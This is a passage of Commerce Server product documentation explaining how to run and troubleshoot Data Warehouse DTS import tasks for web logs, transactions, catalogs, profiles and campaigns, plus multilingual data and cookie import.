    • UImport: Query strings. The total number of query strings processed while the import task was running.

See Also

Workflow for Running DTS Tasks

Best Practices for the Data Warehouse

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Troubleshooting the Data Warehouse Import Process

Securing the Data Warehouse

Securing Reports


Reports Based on Web Log File Data

If you import only the Web log file data, and no other data, you can run the following reports:

  • Bandwidth summary (dynamic)
  • Bandwidth trends (dynamic)
  • Directories (dynamic)
  • Distinct users and visits by week (dynamic)
  • Distinct users by day (dynamic)
  • Entry pages (dynamic)
  • Entry path analysis (static)
  • Exit pages (dynamic)
  • General activity statistics (dynamic)
  • Hits by HTTP status (dynamic)
  • Hits by Win32 status (dynamic)
  • Query strings (multivalue) (dynamic)
  • Query strings (single value) (dynamic)
  • Top referring domains by request (static)
  • Top requested pages (static)
  • User trends (dynamic)
  • Usage summary by day of week (dynamic)
  • Usage summary by hour of day (dynamic)
  • Usage summary by week of year (dynamic)
  • Usage trends (dynamic)
  • User visit trends (dynamic)
  • Visits by browser, version, and OS (dynamic)

See Also

Running the Web Server Log Import DTS Task

ETL Process for the Web Server Log Import DTS Task

Configuring the Web Server Log Import DTS Task

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process

Securing the Data Warehouse

Securing Reports


Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

When a Web log import DTS task fails, you can analyze what caused the task to fail, and determine whether to restart the task, ignore it, or delete it.

Restarting the task

  1. In Enterprise Manager, open the DTS package, right-click Web server log import task, and then click Properties.
  2. In the Import Web Server Logs dialog box, click the Restart Details tab. Only imports that have failed are listed.
  3. On the Restart Details tab, do one of the following:
    • Click Resume to allow the incomplete log import task to continue. No other log import can be run until this operation is complete.
Note
  • If new log files are added to the log file folder during the period between the time the log import fails, and the time you click Resume, then the new log files are imported when the failed import resumes.
  • To resume the failed import without importing additional log files, after clicking Resume, on the Log Files Locations tab, click Log Files, and then clear the new log files.
  • Click Ignore to delete the failed log import task and continue with a new log import task. If you select this option, you will not be able to restart the failed log import task.

    All previous status messages of incomplete log imports are deleted.

  • Wait. If you do not select Ignore or Resume, the failed import log will continue to retry until the maximum number of retries is reached. After retrying the task, the Retry exhaust action is implemented: stop the import at the end of retries or delete the problem log import and continue. (You configure this action in the Advanced Web Log Import Properties dialog box, on the Restart tab.)
  1. If you select Ignore, then in the Import Web Server Logs dialog box, click Log Files to view the failed log files along with the other log files in the folder.
  2. Select the failed log files you still want to import, or clear them if you do not want to import them.
  3. Click OK.
  4. Re-run the Web server log import task.

Note

  • In Step 4, if you click Log Files first, the failed log files will not appear in the dialog box. However, when you click Ignore, the failed log files are added to the import job.

Ignoring or deleting the task

If you click Ignore in the Log restart properties dialog box, or if you select Delete and Continue after the task has been restarted the maximum number of times, you cannot restart the previous log import job. The following occurs:

  • The previous log import is ignored, and Commerce Server continues with a new log import job.
  • All previous status messages of incomplete log imports are deleted.
  • The number of requests, visits, hits, and other data are restored as though the failed import never occurred.
  • The open user visit data might not be restored; this data might be lost.

    For example, the number of open visits is 10. You run the Web log import task, but it fails, so you delete it. Commerce Server restores old user, visit, request, and hit data to its state before you ran the Web log import task. Open visits, however, are not restored. Both the old and new open visit data might be deleted.

    The next time you run the Web log import task, the number of visits might not be accurate because the open user visits were deleted.

See Also

Setting the Web Log Import Restart Properties

Workflow for Running DTS Tasks

Best Practices for the Data Warehouse

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Troubleshooting the Data Warehouse Import Process


Running the Web Server Log Import DTS Task for a Large Site

An "out of memory" error might appear in the Data Warehouse event log for larger sites. In most cases, this is caused by the process running out of virtual memory (you can verify this with the Windows Performance Monitor application).

Standard 32-bit addresses can map a maximum of 4 gigabytes (GB) of memory. The standard address spaces of 32-bit Microsoft Windows 2000 processes are therefore limited to 4 GB. By default, 2 GB are reserved for the operating system, and 2 GB are made available to the application. If you specify a 3GB switch in the Boot.ini file of Windows NT Enterprise Edition or Microsoft Windows 2000 Advanced Server, the operating system reserves only 1 GB of address space, and the application can access up to 3 GB.

To avoid this error, enable the 3GB switch on the Data Warehouse computer before importing Web log files.

Enabling the 3GB switch requires two steps:

  1. Modify the Boot.ini file. For more information about the /3GB switch, see Windows 2000 Advanced Server Help.
  2. Modify the executable file that is running the log import DLL. Depending on how you import data into the Data Warehouse, you must modify the appropriate executable file.

The log import process is hosted by different executable files depending on how you launch log import.

To modify the executable running the Web log import DLL if you import data into the Data Warehouse by running DTS packages directly from the SQL Enterprise Manager User Interface

  1. At the system prompt, type: ImageCfg -l mmc.exe and then press ENTER.
  2. To verify that the 3GB switch is enabled, at the command prompt, type ImageCfg mmc.exe, and then press ENTER.

The current settings appear. If the 3GB switch is not present, you might need to enable it again, or rename the executable file and then try again.

To modify the executable running the Web log import DLL if you import data into the Data Warehouse with a DTS package scheduled to run with the SQL Enterprise Manager Scheduler

  1. At the system prompt, type: ImageCfg -l dtsrun.exe and then press ENTER.
  2. To verify that the 3GB switch is enabled, at the command prompt, type ImageCfg dtsrun.exe, and then press ENTER.

The current settings appear. If the 3GB switch is not present, you might need to enable it again, or rename the executable file and then try again.

To modify the executable running the Web log import DLL if you import data into the Data Warehouse with scripts and use Windows Script Host to perform your log imports

  1. At the system prompt, type: ImageCfg -l cscript.exe and then press ENTER.
  2. To verify that the 3GB switch is enabled, at the command prompt, type ImageCfg cscript.exe, and then press ENTER.

The current settings appear. If the 3GB switch is not present, you might need to enable it again, or rename the executable file and then try again.

See Also

Workflow for Running DTS Tasks

Best Practices for the Data Warehouse

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Reports Based on Web Log File Data

Restarting, Ignoring or Deleting a Failed Web Server Log Import Task

Configuring the Web Server Log Import DTS Task

Commerce Server Performance Counters

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Running the Transaction Data Import DTS Task

You use the Transaction Data Import DTS task to import site transaction data into the Data Warehouse. Transaction data is stored in the Commerce Server transaction database. It includes purchase orders and requisition numbers, which are used in analysis reports to determine how well individual products are selling, how much is being requisitioned, or how much your customers are purchasing.

Note

  • You must use the full load option and perform a full import the first time you import transaction data into the Data Warehouse. After you have imported transaction data, use the incremental load option to import only new data that was created since you last imported transaction data.
  • When running the Transaction Data Import DTS task on a Data Warehouse that contains data for multiple Web sites, ensure that classes extended by more than one Web site have uniquely named members if their data types are not the same. If a new member is added to a class in multiple Web sites and the data types of the new members are not the same, a failure can occur or data can be incorrectly converted when the Transaction Data Import DTS task is run.

To import transaction data for a single site into your Data Warehouse

To import transaction data for all associated sites into your Data Warehouse

To import transaction data for a single site into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Transaction data import (Commerce Server).
  5. In the Transaction Import Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
    Query interval (mins) Type the import interval in minutes. A value of zero(0) will issue a single query against the SQL Server source tables, which can potentially result in locking the tables. For any value greater than zero (0), the task will incrementally import the transactions in groups as determined by the query interval value. For example, if the query interval is 25 minutes (the default value) and the first transaction was logged at 1:30am, the transaction data import task imports all transactions logged between 1:30am and 1:55am, then it would import transactions between 1:55am and 2:20am. This pattern continues until the current time is reached, at which point the task stops.

    Note

    • If the transaction database is in a different time zone than the Data Warehouse, the import will cease at the current time of the import, when converted into the time zone of the transaction database. For example, if the transaction database is in the EST time zone, and the Data Warehouse is in the PST time zone, and the current time is 8:00am in PST, the import will cease when the query interval reaches 8:00am in EST.
    Incremental load | Select this option to import only new transaction data (based on a previous import).
    Full load | Select this option to import all transaction data.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Transaction data is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

To import transaction data for all associated sites into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Transaction data import (Commerce Server).
  5. In the Transaction Import Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Data Warehouse level from the drop-down list.
    Data Warehouse name | Select from the drop-down list the Data Warehouse associated with the sites for which you want to import transaction data.
    Incremental load | Select this option to import only new transaction data (based on a previous import).
    Full load | Select this option to import all transaction data.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Transaction data is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

See Also

Running the Transaction Data Import DTS Task

ETL Process for the Transaction Data Import DTS Task

Scripting for the Transaction Data Import DTS Task

Best Practices for Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running the DTS Tasks

Troubleshooting the Data Warehouse Import Process


Running the Product Catalog Data Import DTS Task

You use the Product Catalog Import DTS task to import data about the products in your Commerce Server catalog database, including dimensional information such as product name, description, color, and size. (This differs from importing data into the Product Catalog System from outside sources such as Excel spreadsheets. For information about importing catalogs, see Importing and Exporting Catalogs.)

For reports such as Product Analysis and Transaction Analysis to display properly, they require catalog data. If catalog data is not imported into the Data Warehouse, products are identified in reports by their stock-keeping unit (SKU) numbers only.

You use the Transaction Data DTS task to import information about how well products are selling and how much your customers are purchasing. For information, see Running the Transaction Data Import DTS Task.

Notes

  • For information about importing data for virtual catalogs, see Importing Data for Virtual Catalogs.
  • You must use the full load option and perform a full import the first time you import catalog data into the Data Warehouse. After you have imported catalog data, use the incremental load option to import only new data that was created since you last imported catalog data.
  • If one Data Warehouse is supporting multiple sites, the names of the catalogs you are importing data for must be unique.

    If there are two sites that have the same catalog name and the same products, but the catalog properties and product definitions are different, then data of the catalog that is imported first will be overwritten when data for the second catalog is imported.

  • Do not create catalog properties that contain special characters. Special characters cause the Product catalog data import task to fail. For example, catalog properties should not include the following characters: '!', '"', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\\’, ']', '^', '`', '{', '|', '}', '~'. They should not contain any control characters, for example, 0x00 /* NULL */, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 /* , CONTROL-G <BEL> */, 0x08 /* CONTROL-H <BS> */, 0x09 /* CONTROL-I <HT> */, 0x0a /* CONTROL-J <LF> */, 0x0b /* CONTROL-K <VT> */, x0c /* CONTROL-J <FF> */, 0x0d /* CONTROL-M <PRS_CR> */, 0x0e /* , CONTROL-N <SO> */, 0x0f /* CONTROL-O <SI> */, 1x10, 0x11, 0x12, and so on.
  • Use the following performance counters for this DTS task:
    • CatImport: Total Catalogs imported
    • CatImport: Total Categories imported
    • CatImport: Total Products imported

To import catalog data for a single site into your Data Warehouse

To import catalog data for all associated sites into your Data Warehouse

To import catalog data for a single site into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Product catalog import (Commerce Server).
  5. In the Catalog Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Site level from the drop-down list.
    Sitename | Select from the drop-down list the site that contains the data you want to import.
    Incremental load | Select this option to import only new catalog data based on a previous import.
    Full load | Select this option to import all catalog data.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Catalog data is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

To import catalog data for all associated sites into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Product catalog import (Commerce Server).
  5. In the Catalog Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Data warehouse level from the drop-down list.
    Data warehouse name | Select from the drop-down list the Data Warehouse associated with the sites for which you want to import catalog data.
    Incremental load | Select this option to import only new catalog data based on a previous import.
    Full load | Select this option to import all catalog data.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Catalog data is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

See Also

Importing Data for Virtual Catalogs

Running the Product Catalog Data Import DTS Task

ETL Process for the Product Catalog Data Import DTS Task

Scripting for the Product Catalog Data Import DTS Task

Best Practices for Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running the DTS Tasks

Troubleshooting the Data Warehouse Import Process


Importing Data for Virtual Catalogs

A virtual catalog references the product data in one or more base catalogs. If you add a product to a base catalog, the product can also appear in the associated virtual catalog, depending on the inclusion rules. Products are represented once in the catalog database regardless of how many virtual catalogs they appear in.

When you run the Product catalog data import task to import data from a virtual catalog into the Data Warehouse, it also imports data from the associated base catalogs. For example, you might have a base catalog named “Compact Discs,” and you include it in the virtual catalog named “Spring Products.” You run the Product catalog data import task and Compact Discs data is imported into the Spring Products catalog in the Data Warehouse.

You can remove the Compact Discs catalog from the Spring Products virtual catalog, and then add another base catalog, named Books, to the Spring Products catalog. When you run the import task, the Spring Products catalog in the Data Warehouse will contain data for both Compact Discs and Books.

Perform Full Imports

To import products from virtual catalogs into the Data Warehouse, you must perform a full import. If a product or a category that exists in a base catalog is added to a virtual catalog, the product or category will have a smaller timestamp than the rest of the products and categories in the virtual catalog. As a result, the incremental import option will not import it.

See Also

Running the Product Catalog Data Import DTS Task

Troubleshooting the Data Warehouse Import Process


Running the Profile Data Import DTS Task

You use the Profile Data Import DTS task to import the following data into the Data Warehouse:

  • Profile data collected on your Web site and Commerce Server Business Desk with profile definitions
  • Site terms

When you import profile data into the Data Warehouse, the Profile data import task extends the schema of the Data Warehouse to accommodate any new profile definition properties marked as exported. For information about creating profile definitions and site terms, see Running the Profiles Resource.

To designate which profile properties will be imported into the Data Warehouse, you use the Profile Definition Designer module in Commerce Server Business Desk. For information about specifying profile data for import into the Data Warehouse, see Specifying Data to be Imported into the Data Warehouse.

Notes

  • You must use the full load option and perform a full import the first time you import profile data into the Data Warehouse. After you have imported profile data, use the incremental load option to import only new data that was created since you last imported profile data.
  • If the Profiles server is clustered and fails over while the Profile data import DTS task is running there might be data loss. You must rerun the Profile data import DTS task in full load for the last increment by changing the import start date to the increment before the failover occurred. Rerunning the Profile data import DTS task in full load will restore any lost data.
  • This DTS task uses the maximum length of the string type when creating tables in the Data Warehouse. Because profiles can have strings that are a maximum of 4000 characters long, the table generated by the DTS task converts each char and varchar into a varchar(4000). It converts char to varchar because SQL Server optimizes on space for the varchar data type.
  • Use the Query Interval property to specify the time intervals in which profile data is imported into the Data Warehouse. This setting prevents locking the data source for the import. For example, if you plan to import data for 10,000 users, you can specify 15-minute intervals for user data import, so that your server is not overloaded.
  • If you have a large number of user profiles, and you are performing a full import, you can set the import start date in the DTS task to import only part of the user profiles. When you import profile data in full load, the start date will be 1/1/2000.
  • Oracle uses a different date format than SQL Server. If user profile data is stored in an Oracle database, you must set the following environment variable before running the Profile import data task:

    Set NLS_DATE_FORMAT = MM/DD/YYYY HH24:MI:SS

  • Use the following performance counters for this DTS task:
    • UPM: DTS Records Exported/sec
    • UPM: DTS Records Exported
    • UPM: Exported Errors

To import profile data for a single site into your Data Warehouse

To import profile data for all associated sites into your Data Warehouse

To import profile data for a single site into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Profile data import (Commerce Server).
  5. In the Profile Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
    Query interval (mins.) Type the time interval for the import. User data is imported in time intervals to prevent locking the database table. For example, a Web site with 10,000 users would import user data in 15-minute intervals.

    Setting a smaller value will lock the table for a shorter duration but will increase the number of queries against the table and therefore the time the task takes to run. Setting the value to zero will run a single query, locking the table for the entire duration of import, but might degrade site performance.
    Import start date | Select from the drop-down calendar a date on which to begin your import.
    Incremental load | Select this option to import only new users (based on a previous import).
    Full load | Select this option to import all user data.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Profile data and site terms are imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

To import profile data for all associated sites into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Profile data import (Commerce Server).
  5. In the Profile Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Data Warehouse level from the drop-down list.
    Site name | Select from the drop-down list the Data Warehouse associated with the sites for which you want to import profile data.
    Query interval (mins.) Type the time interval for the import. User data is imported in time intervals to prevent locking the database table. For example, a Web site with 10,000 users would import user data in 15-minute intervals.

    Setting a smaller value will lock the table for a shorter duration but will increase the number of queries against the table and therefore the time the task takes to run. Setting the value to zero will run a single query, locking the table for the entire duration of import but may degrade site performance.
    Import start date | Select from the drop-down calendar a date on which to begin your import.
    Incremental load | Select this option to import only new users (based on a previous import).
    Full load | Select this option to import all user data.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Profile data and site terms are imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

See Also

Running the Profile Data Import DTS Task

ETL Process for the Profile Data Import DTS Task

Scripting for the Profile Data Import DTS Task

Best Practices for Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running the DTS Tasks

Troubleshooting the Data Warehouse Import Process


Running the Campaign Data Import DTS Task

You use the Campaign data import DTS task to import campaign data. Campaign data includes advertisers, advertisement campaigns, and campaign item information. After you run the Campaign data import task, business managers can run reports on the imported campaign data, and analyze the success of the campaigns.

Note

  • If you are importing only new data for Campaign reports, run the Web server log import DTS task first, and then run the Campaign data import task. For information about running the Web server log import DTS task, see Running the Web Server Log Import DTS Task.

To import campaign data for a site into your Data Warehouse

To import campaign data for all associated sites into your Data Warehouse

To import campaign data for a site into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Campaign data import (Commerce Server).
  5. In the Campaign Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Second between retries | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    Campaign data is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

To import campaign data for all associated sites into your Data Warehouse

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Campaign data import (Commerce Server).
  4. In the Campaign Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task.
    Operation level | Select Data Warehouse level from the drop-down list.
    Data Warehouse name | Select from the drop-down list the Data Warehouse associated with the sites for which you want to import campaign data.
  5. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  6. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  7. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  8. Click OK, and then click Done.

    Campaign data is imported into the Data Warehouse.

  9. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes and make it available for reports. For instructions about running this task, see Running the Report Preparation DTS Task.

This data is now available for reports.

See Also

Running the Campaign Data Import DTS Task

ETL Process for the Campaign Data Import DTS Task

Scripting for the Campaign Data Import DTS Task

Best Practices for Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running the DTS Tasks

Troubleshooting the Data Warehouse Import Process


Importing Multilingual and Multicurrency Data

Commerce Server Data Warehouse supports the importing of Unicode characters. You can use the Data Warehouse to import profile, campaign, product catalog, and transaction data in any language. The Commerce Server Data Warehouse schema supports the importing of multiple currencies by storing the currency type and the amount separately.

Designating the Import Language

There is no need to designate the import language. The Data Warehouse imports multi-byte Unicode characters and does not distinguish between languages. For example, suppose you create your site in English. A user enters his or her billing data in Japanese characters. The order data for that user is treated the same as order data from a user entered in English.

Best Practices for Importing Multilingual and Multicurrency Data

Designating the Language and Currency of a Catalog

Designating the Language of a Campaign


Best Practices for Importing Multilingual and Multicurrency Data

  • Do not change base currency after importing data
The Data Warehouse does not perform currency conversions. Previously imported financial data is not transformed into the new base currency. Instead, the Data Warehouse will contain the original amounts, now paired with an incorrect currency designation.
  • Do not import catalog data in a second language
The second version of data imported for a catalog will overwrite existing data for that catalog. The Data Warehouse only supports one version of data for each catalog.
  • Create campaigns in a single language
Create a campaign in a single language. Create a new campaign for each additional language in which you want to show the campaign.


Designating the Language and Currency of a Catalog

You can use the Catalog Editor module in Commerce Server Business Desk to designate up to 10 languages in a single catalog or virtual catalog.

Note

  • If you change the reporting language, the next time your system administrator imports catalog data into the Data Warehouse, it will use the new language. This might result in some data in the Data Warehouse being in one language and other data being in another language.

    Your system administrator must perform a full import by using the Product catalog data import Data Transformation Services (DTS) task so that all the data is in the same language. (Full import will update the properties of the product because the product keys are the same in any language.)

To localize a catalog

  1. In Commerce Server Business Desk, in Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to edit, and then click <<edit properties>> on the toolbar.
  3. The Catalog Properties- <Catalog Name> screen appears. You can edit any of the properties on this screen that are not assigned by Commerce Server.
    Use this | To do this
    Currency | Select a currency for the catalog from the drop-down list. The default is USD.
    Unit of weight measure | Displays the unit of weight for the products in this catalog. Your system administrator specifies this value during Commerce Server configuration. Contact your system administrator if this value needs to be changed.
  4. In the Catalog Languages section, do the following:
    Use this | To do this
    Add Add languages that the catalog will support.

    A catalog can support up to 10 languages. You can add five languages, then save the catalog, and then add five more.
    Remove | Remove languages that the catalog does not support. If you remove all languages, the catalog will support the default language, which is the same language as the Microsoft Windows operating system on your Business Desk client computer.
    Default Language Select from the drop-down list the default language for your catalog.

    If you do not specify a default language, Commerce Server uses the same language as the Microsoft Windows operating system on your Business Desk client computer.
    Reporting Language Select from the drop-down list the language that is to be used for the properties that are to be stored in the Data Warehouse.

    This is the language that will be used for reports and analysis.

    Changing the reporting language after your site is in production can result in report data appearing in two languages, depending on the period of time the report covers.

    Your system administrator must perform a full import using the Product catalog data import DTS task so all the data is the same language. (Full import will update the properties of the product because the product keys are the same in any language.)
  5. To enter the display name for the catalog, in the Language box, select a language, and then click Edit.
  6. In the Display name box, type the name for the catalog in the selected language. This is the catalog name that will appear on your Web site.
  7. To save your edits and return to the Catalogs screen, click Save and go back on the toolbar.
  8. To publish the new product on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Designating the Language of a Campaign

Commerce Server campaigns support Unicode characters. Create campaigns in the language of your choice.

The Business Desk Campaigns modules, the Data Warehouse, and Commerce Server reports do not recognize the language of a campaign.


Importing Cookies

When a user browses your site, the cookie is stored in the Web log files. The Commerce Server Web log import DTS task reads the cookie data and decrypts the user ID, enabling the cookie data to be associated with the profile data. This enables you to analyze the user data.

Note

  • If you are using rolling key encryption for cookies, you must import the IIS logs before you import the profile data. Otherwise, the Commerce Server DTS tasks cannot decrypt the authentication tickets in the logs.

When the data is imported, it is parsed for the user ID. Each instance of the user ID becomes a row in the Data Warehouse. The user ID is the primary key of the row, so that when analysis is performed on the user data, the data is accessed by the user ID.

